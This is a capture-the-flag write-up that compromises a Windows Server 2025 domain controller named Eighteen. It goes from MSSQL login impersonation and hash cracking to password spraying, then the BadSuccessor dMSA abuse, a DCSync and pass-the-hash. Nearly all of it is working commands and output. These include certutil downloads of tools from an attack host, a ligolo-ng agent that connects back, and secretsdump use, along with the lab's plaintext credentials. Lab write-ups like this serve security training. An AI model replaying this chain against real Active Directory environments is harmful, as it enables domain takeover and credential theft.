Eighteen
Summary
Eighteen is a Windows Server 2025 domain controller running IIS, MSSQL, and WinRM. We start with provided credentials for a low-privilege SQL login and work through MSSQL impersonation to reach a custom financial_planner database, where we pull a PBKDF2-SHA256 hash for the web app’s admin account. After converting it to hashcat’s mode 10900 format and cracking it, we log into the web app and find a second set of credentials embedded in the application source. RID brute-forcing via MSSQL produces a full domain user list, and spraying both recovered passwords against WinRM lands a shell as adam.scott. BloodHound and PowerView then reveal that the IT group - which adam.scott belongs to - holds CreateChild rights on the Staff OU. On Windows Server 2025, that single permission is enough to exploit BadSuccessor, a vulnerability in the new dMSA feature. We create a malicious dMSA linked to the domain Administrator, tunnel back to the attack box with ligolo-ng, and use an updated impacket build to request Kerberos tickets carrying Administrator privileges. A DCSync via secretsdump recovers the hash, and pass-the-hash closes it out.
Recon
Nmap TCP
A full TCP scan against 10.10.11.95 returns three ports. The MSSQL NSE scripts are unusually chatty here - the NTLM negotiation probe leaks the machine’s full identity without us having to ask for it separately.
nmap -T4 -p- -A -Pn -v eighteen.htb
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Welcome - eighteen.htb
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: EIGHTEEN
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: eighteen.htb
| DNS_Computer_Name: DC01.eighteen.htb
|_ Product_Version: 10.0.26100
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Three services: IIS on 80, SQL Server 2022 on 1433, and WinRM on 5985. The NTLM probe confirms this is DC01.eighteen.htb - we’re pointed directly at a domain controller. The product version 10.0.26100 maps to Windows Server 2025, which will matter later on.
Web Enumeration
The IIS site is a Flask-based finance application - “Flask Financial Planner v1.0”. It has a login page and a registration form, which means we can create an account and poke around from the inside. The provided kevin credentials don’t work here.
After registering and logging in, the /dashboard exposes several active POST endpoints: /update_income, /add_expense, /update_allocation, and /delete_expense/<id>. There’s also an /admin page that returns a 403. A directory scan and subdomain fuzz run in parallel while we explore manually:
gobuster dir -u http://eighteen.htb -w /usr/share/wordlists/dirb/common.txt -x txt,php,html -t 10
ffuf -c -u "http://eighteen.htb" -H "Host: FUZZ.eighteen.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-fs 143
Neither returns anything useful - no subdomains, no hidden paths beyond what’s already visible. Injecting a single quote into the dashboard’s numeric input fields produces a 500 error, which is interesting, but commiting to this before checking MSSQL is a mistake.
MSSQL Enumeration
With kevin’s credentials confirmed, the first thing to understand is the scope of what this SQL login can actually do.
nxc mssql $IP -u 'kevin' -p 'iNa2we6haRj2gaw!' --local-auth
MSSQL 10.10.11.95 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL 10.10.11.95 1433 DC01 [+] DC01\kevin:iNa2we6haRj2gaw!
Authentication works. Command execution via xp_cmdshell is off the table - kevin holds no elevated server roles. What he does have is impersonation rights:
nxc mssql $IP -u 'kevin' -p 'iNa2we6haRj2gaw!' --local-auth -M mssql_priv
MSSQL_PRIV 10.10.11.95 1433 DC01 [*] kevin can impersonate: appdev
kevin can execute as appdev. This EXECUTE AS LOGIN grant was presumably configured to let kevin run maintenance queries against the application database, but it hands us everything appdev can read. Connecting interactively:
mssqlclient.py kevin:'iNa2we6haRj2gaw!'@eighteen.htb
Switching context and listing databases:
exec_as_login appdev
SELECT name FROM master.dbo.sysdatabases
master
tempdb
model
msdb
financial_planner
The financial_planner database is the application backend - as kevin we couldn’t touch it, but appdev can:
USE financial_planner
SELECT * FROM users;
id username email password_hash is_admin
---- -------- ------------------ ----------------------------------------------------------------- --------
1002 admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336... 1
One entry - the admin account - with a PBKDF2-HMAC-SHA256 hash in Werkzeug’s native format.
Shell as adam.scott
Converting and Cracking the Hash
hashcat mode 10900 handles PBKDF2-HMAC-SHA256 but expects the salt and hash in base64, not the raw ASCII/hex layout Werkzeug uses. The conversion trips people up the first time: the salt (AMtzteQIG7yAbZIa) is plain ASCII and base64-encodes directly, but the hash portion is hex-encoded raw bytes and needs a hex-to-binary step first before base64 encoding.
To verify the logic before committing to a long crack run, it’s worth testing against a known hash - register a test account with a known password, pull its hash from the database, convert it, and confirm hashcat recovers the plaintext correctly. Once that works, apply the same steps to the admin hash:
base64hash=$(echo -n '0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' | xxd -r -p | base64)
base64salt=$(echo -n 'AMtzteQIG7yAbZIa' | base64)
echo "sha256:600000:$base64salt:$base64hash" > adminhash
hashcat -m 10900 adminhash rockyou.txt.gz
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:[REDACTED]
Status: Cracked
Speed.#01: 4650 H/s
Credentials in the App Source
The cracked password gets us into the web app as admin, where the /admin dashboard confirms the backend is “MSSQL (dc01.eighteen.htb)” - consistent with what nmap already told us. Once we have a shell on the box, inspecting the application source reveals something more useful:
type C:\inetpub\eighteen.htb\app.py
The Python source contains a hardcoded database connection string with credentials for appdev: MissThisElite$90. Adding this to our password list and spraying it against domain users via WinRM doesn’t land anything - this password appears to be scoped to the SQL service account and doesn’t translate to any interactive domain login.
RID Brute-Force and Password Spray
MSSQL’s authenticated connection to the DC gives us another avenue: RID brute-forcing to enumerate domain accounts.
nxc mssql DC01.eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute | tee users
MSSQL 10.10.11.95 1433 DC01 1603: EIGHTEEN\HR
MSSQL 10.10.11.95 1433 DC01 1604: EIGHTEEN\IT
MSSQL 10.10.11.95 1433 DC01 1605: EIGHTEEN\Finance
MSSQL 10.10.11.95 1433 DC01 1606: EIGHTEEN\jamie.dunn
MSSQL 10.10.11.95 1433 DC01 1607: EIGHTEEN\jane.smith
MSSQL 10.10.11.95 1433 DC01 1608: EIGHTEEN\alice.jones
MSSQL 10.10.11.95 1433 DC01 1609: EIGHTEEN\adam.scott
MSSQL 10.10.11.95 1433 DC01 1610: EIGHTEEN\bob.brown
MSSQL 10.10.11.95 1433 DC01 1611: EIGHTEEN\carol.white
MSSQL 10.10.11.95 1433 DC01 1612: EIGHTEEN\dave.green
Seven user accounts across HR, IT, and Finance. Strip the domain prefix and spray the cracked password against WinRM:
cut -d '\' -f 2 users > userlist
nxc winrm 10.10.11.95 -u userlist -p '[REDACTED]' --continue-on-success
WINRM 10.10.11.95 5985 DC01 [-] eighteen.htb\jamie.dunn:[REDACTED]
WINRM 10.10.11.95 5985 DC01 [-] eighteen.htb\jane.smith:[REDACTED]
WINRM 10.10.11.95 5985 DC01 [-] eighteen.htb\alice.jones:[REDACTED]
WINRM 10.10.11.95 5985 DC01 [+] eighteen.htb\adam.scott:[REDACTED] (Pwn3d!)
adam.scott reuses the password.
Shell via WinRM
evil-winrm -i 10.10.11.95 -u adam.scott -p '[REDACTED]'
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> type user.txt
[REDACTED]
Shell as Administrator
AD Enumeration with BloodHound and PowerView
Before reaching for any exploits, a BloodHound collection to map the AD landscape.
certutil -urlcache -f http://10.10.14.21:8000/SharpHound.ps1 SharpHound.ps1
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -domain eighteen.htb -OutputDirectory C:\Windows\Temp\ -ZipFilename eighteen.zip
download C:\\Windows\\Temp\\20251115193610_eighteen.zip
After ingesting into BloodHound, the key findings: only one computer exists in the domain (DC01.eighteen.htb), the IT group holds CanPSRemote rights on it (explaining why adam.scott and bob.brown get WinRM access), and IT, HR, and Finance are all children of the Staff OU.
PowerView shows the ACL detail BloodHound misses:
certutil -urlcache -f http://10.10.14.21:8000/PowerView.ps1 PowerView.ps1
Import-Module .\PowerView.ps1
Invoke-ACLScanner -ResolveGUIDs
ObjectDN : OU=Staff,DC=eighteen,DC=htb
AceQualifier : AccessAllowed
ActiveDirectoryRights : CreateChild
ObjectAceType : None
IdentityReferenceName : IT
IdentityReferenceDN : CN=IT,OU=Staff,DC=eighteen,DC=htb
The IT group - and therefore adam.scott - has CreateChild rights on the Staff OU. Get-NetComputer confirms we’re on Windows Server 2025 Datacenter, build 26100. Those two facts together are the preconditions for BadSuccessor.
Understanding BadSuccessor
Windows Server 2025 introduced Delegated Managed Service Accounts (dMSA) as a modernized replacement for traditional service accounts, with a migration feature that lets a dMSA “succeed” an existing account and inherit its identity. The mechanism is the msDS-ManagedAccountPrecededByLink attribute - when set on a dMSA and pointing at another AD account, the DC automatically grants the dMSA access to that account’s Kerberos keys at ticket-request time, treating the migration as complete.
The flaw is that any user with CreateChild rights on an OU can create a dMSA and manually set that attribute to point at any account in the domain, including privileged ones like Administrator. The DC has no way to distinguish a legitimate migration from a malicious one - it simply honors the attribute. Akamai Security Research published this as BadSuccessor. The attack surface is broad because CreateChild on any OU is the only prerequisite - there’s no requirement to own the target account or hold any specific service role.
Creating the Malicious dMSA
We use BadSuccessor.ps1 to create the rogue object. The path comes directly from the ObjectDN field in the PowerView output:
certutil -urlcache -f http://10.10.14.21:8000/BadSuccessor.ps1 BadSuccessor.ps1
Import-Module .\BadSuccessor.ps1
BadSuccessor -mode exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name "bad_DMSA" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator" -domain "eighteen.htb"
This creates bad_DMSA$ in the Staff OU with adam.scott as its delegated admin and msDS-ManagedAccountPrecededByLink pointing at Administrator.
Tunneling with Ligolo-ng
ligolo-ng creates a transparent TUN interface on the attack host, routing traffic directly into the target’s network without proxychains wrapping. Set up the proxy side:
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ./proxy -selfcert
Transfer the agent to the target and connect back:
certutil -urlcache -f http://10.10.14.21:8000/agent.exe agent.exe
.\agent.exe -connect 10.10.14.21:11601 -ignore-cert
In the ligolo-ng proxy shell, select the session and start the tunnel. Then add the magic routing entry on the attack host:
sudo ip route add 240.0.0.1/32 dev ligolo
Traffic directed at 240.0.0.1 now transits through the tunnel to DC01. All Kerberos and LDAP calls go through this address.
Fixing Clock Skew
Kerberos rejects authentication when the client clock differs from the KDC by more than five minutes. If getST.py throws KRB_AP_ERR_SKEW, sync the clock with ntpdate before retrying:
Requesting Kerberos Tickets
Make sure impacket is on a release that includes dMSA support in getST.py - the standard package version predates this feature.
First, get a regular TGT for adam.scott to use as the authentication base:
getTGT.py 'eighteen.htb/adam.scott:[REDACTED]' -dc-ip 240.0.0.1
export KRB5CCNAME=adam.scott.ccache
Now request a ticket impersonating bad_DMSA$. The -dmsa flag tells getST.py to perform the dMSA-specific PAC merging that folds the linked account’s privileges into the resulting ticket:
getST.py eighteen.htb/adam.scott -dc-ip 240.0.0.1 -impersonate 'bad_DMSA$' -self -dmsa -k -no-pass
Export the ccache:
export KRB5CCNAME=bad_DMSA\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache
Dumping the Administrator Hash
With a ticket carrying Administrator-level privileges, secretsdump can perform a DCSync. The -target-ip flag routes the connection through the tunnel rather than relying on DNS:
secretsdump.py -k -no-pass dc01.eighteen.htb -just-dc-user Administrator -dc-ip 240.0.0.1 -target-ip 240.0.0.1
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSR method. Extracting hashes from NTDS.dit via DCSync
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
Pass-the-Hash as Administrator
evil-winrm -i 10.10.11.95 -u Administrator -H [REDACTED]
Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]